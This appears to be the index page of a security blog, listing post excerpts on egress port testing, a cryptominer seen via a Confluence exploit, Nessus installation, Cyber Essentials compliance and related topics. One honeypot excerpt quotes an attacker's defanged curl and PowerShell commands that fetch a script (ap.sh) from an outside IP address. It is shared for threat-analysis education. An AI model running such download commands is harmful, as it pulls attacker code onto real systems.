Guides
Have you ever wanted to run a quick test of egress ports from userland from a windows machine?
Well worry not, I didn’t even have to write anything, the nice people at Black Hills security have done it for us. However I did decide that there’s a few other things we might want to do, so I made a quick modification, now we have colours, randomisation and some sleeps.
Read more “Testing Risky Egress Ports”
Education
I’m totally in the middle of doing some work but this alert just came in so I have quickly dumped the data:
This came in via a Confluence exploit (not sure which CVE yet). I’ve not got time to analyse but thought I’d share this as an educational excercise for people! It’s a good excercise to see the apache tomcat logs and then decode, obtain samples and analyse the activity/imapct (as well as yoink IOCs etc.)
Read more “Learn to SOC: Cryptominer Analysis”
Education
You can deploy Nessus in a range of ways, from direct install through to using a cloud-based deployment or virtual appliance.
A common reason for deploying on Kali or other distro rather than using the virtual appliance is for mobility, ease of use but also you might want to VPN or proxy traffic.
The install process is simple, log into your account on tenable community portal and download the relevant installation package.
Read more “Installing Nessus Pro on Kali Linux”
Education
Threat actors are deploying a range of payloads to try and leverage vulnerable confluence servers around the globe. This just dropped into one of the pots:
HTTP Command Executes this:
curl http[:]//202.28.229.174/ap[.]sh?confcurlThis download the following (ap.sh)
$stealz = wget -Uri http[:]//202.28.229[.]174/ap[.]sh?confcurl -UseBasicParsing
$stealz.Content | Out-File ap.txt
Guides
Ok, another post on cyber essentials! I talk about this quite a lot (mainly driven by procurement requirements rather than orgs expressing a deep desire to “have better security” (which is a shame)) however, I want to show people what the real world is like and that meeting cyber essentials is a good thing, but also to look at real world challenges of meeting the standards. In this post we look at some thought provoking questions, then we look at an out of the box Windows and MAC device to see if they meet the standard!
Read more “Cyber Essentials – Out of the Box”
Defence
This is a fast publish!
Confirmed all Office (ISO Install/PRO and 365) when using the Rich Text Format (RTF) method.
Office 365 has some sort of patch against the .DOCX format.
Guides
So as always there are a million things in tech and well it’s rare that someone knows EVERYTHING. I must connect to a Wireguard VPN from a KALI VM. Should be simple, well actually it was a bit more complicated as I had two errors along the way!
Leadership
Ok so you might be sitting here going… but Dan you send pews and do “techy” stuff… do you not lead? Well, I mean I do all kinds of things, I write business cases, I play with spreadsheets (fun right!), I integrate systems and look at data and sometimes write really bad code! (hey, the pews aren’t going to send themselves!) but… I want to talk about some realities here.
Read more “Cyber Leadership”
Education
Volume 1
I am sitting here, and I need another cup of tea, but I thought I’d start to have a think about what common “CYBER GANGS” look like. This isn’t criminal or non-criminal. But you know there’s some commonality between both. I thought this was fun little thinking exercise to show the duality of life, what digital worlds look like but also to give a glimpse into the mysteryious (its not!) world of cyberz (including crime!)
Read more “The CYBER GANG Cookbook”
Defence
It’s “only” essential but it can be bloody difficult!
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Cyber Essentials is a minimum baseline standard for ensuring foundational cyber security considerations and controls are in place. It’s a good starting point, but by no means should it be “THE GOAL” and just because it has “Essentials” in its name, don’t think it’s easy to comply with. Whilst the standard isn’t outlandish with its requirements in the main, the reality between technical capabilities and being able to discover, audit and remediate security configurations in organisations is often nowhere near as simple as someone may tell you. The news here is that the standard has been extended to include some wider areas.
Read more “The Challenges of Cyber Essentials Audit and Compliance Activities”